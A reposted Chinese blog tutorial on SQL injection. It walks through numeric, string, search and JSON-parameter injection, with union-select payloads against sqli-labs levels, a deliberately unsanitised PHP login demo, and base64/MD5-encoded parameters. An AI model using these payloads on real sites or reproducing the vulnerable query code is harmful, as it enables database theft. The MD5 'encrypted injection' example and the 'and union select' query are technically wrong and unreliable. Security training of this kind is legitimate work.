web安全sql注入&Json&格式类型&加密注入&MYSQL增删查改
Posted Nu1LL+
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全sql注入&Json&格式类型&加密注入&MYSQL增删查改相关的知识,希望对你有一定的参考价值。
格式类型
数字型传参,如下php代码
$_GET['id'] //接受get传参
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
如果传递 ?id=1 那么sql语句就是 $sql="SELECT * FROM users WHERE id=1 LIMIT 0,1";
构造sql注入语句 就变成 $sql="SELECT * FROM users WHERE id=1 union select 1,2,3 LIMIT 0,1";
字符串型传参,如下php代码
$_GET['id'] //接受get传参
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
如果传递 ?id=1 那么sql语句就是 $sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";
这里注意如果构造sql语句为 union select 那么就变成 $sql="SELECT * FROM users WHERE id='1 union select' LIMIT 0,1";
这个sql联合查询语句在字符串里面就不起作用了,需要进行单引号闭合以及注释后面的单引号构造如下
`$sql="SELECT * FROM users WHERE id=‘1’ union select 1,2,3 --+’
这样就能够进行sql注入了
搜索型传参
如果一个网站存在搜索功能,那么它与电脑文件夹搜索相似使用通配符
SQL语句中 通配符->%
$_GET['name'] //接受get传参
$sql="SELECT * FROM users WHERE name like '%name%' LIMIT 0,1";
如果搜索功能的地方存在注入,就得考虑符号以及通配符闭合
靶场实验,那么依旧是来到sqli-labs靶场第一关
先看一下源代码,很明显是字符串注入
那么直接构造sql语句 1' order by 4 --+
、 1' order by 3 --+
发现有3列
构造sql联合查询 -1' union select 1,2,3 --+
注入成功,这个同mysql注入一样后面就不演示了
接着sqli-labs靶场第二关,先看一下源代码
这个就是数字型注入了,直接构造sql语句 order by 1,2,3
联合查询 -1 union select 1,2,3
Json注入
1.Json简介
JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。
2.Json注入点
Json注入一般发生在app登陆的地方
传统传参注入 http://www.xxx.com/?id=1&pass=admin
Json传参注入
{
"id":'1'
"pass":'admin'
}
那么我们通过一段php代码来实战一下json注入,代码如下
<form action="" method="POST">
<input type='text' name='json' value='{"username":"admin"}'>
<input type='submit' value='提交'>
</form>
<?php
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
//{"username":"admin"}
$json=json_decode($json_str);
if(!$json){
die('JSON文档格式有误,请检查');
}
$username=$json->username;
//echo $username;
//$passwd=$json->passwd;
$mysqli=new mysqli();
$mysqli->connect('localhost','root','admin123');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
$mysqli->select_db('security');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
$mysqli->set_charset('utf-8');
$sql="SELECT * FROM users WHERE username='{$username}'";
//echo $sql;
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
}
$result->free();
$mysqli->close();
}
?>
那么构造注入 {"username":"admin' order by 4#"}
有三列
sql联合查询 {"username":"-admin' union select 1,2,3#"}
如果没有#注释单引号的话就会报错,那么后面注入同mysql注入一样
加密注入
之前介绍过,像遇到MD5、base64这种把id后面的参数加密该如何注入
base64
编码后:http://www.xxx.com/?id=MQ==
解码后:http://www.xxx.com/?id=1
那么构造注入就得整体构造
编码后:http://www.xxx.com/?id=MSBhbmQgdW5pb24gc2VsZWN0IDEsMiwz
解码后:http://www.xxx.com/?id=1 and union select 1,2,3
md5
加密后:http://www.xxx.com/?id=a0b923820dcc509a
解密后:http://www.xxx.com/?id=1
那么构造注入也是整体构造
加密后:http://www.xxx.com/?id=b9bb3c1ba9a2bf65
解密后:http://www.xxx.com/?id=union select 1,2,3
MYSQL增删查改
创建一个ruler表,有id和name两列
create table ruler(id int(10),name varchar(10));
插入数据
insert into ruler(id,name) values(1,‘a’);
查询所有数据
select * from ruler;
查询指定数据id
修改数据,id为1的name变成张三
update ruler set name=‘张三’ where id=1;
delete from ruler where id=2;
删除id=2的数据
那么由于SQL注入的原理就是通过改变原来的变量值,再组合sql语句达到攻击者的目的,要保证sql注入的时候不出现问题,就得让这四种操作方式,组合不出现错误
黑盒测试思路
网站功能点:显示新闻:查询语句、注册会员:插入语句,后台新闻类发布、删除、更新对应相应的sql语句
以上是关于web安全sql注入&Json&格式类型&加密注入&MYSQL增删查改的主要内容,如果未能解决你的问题,请参考以下文章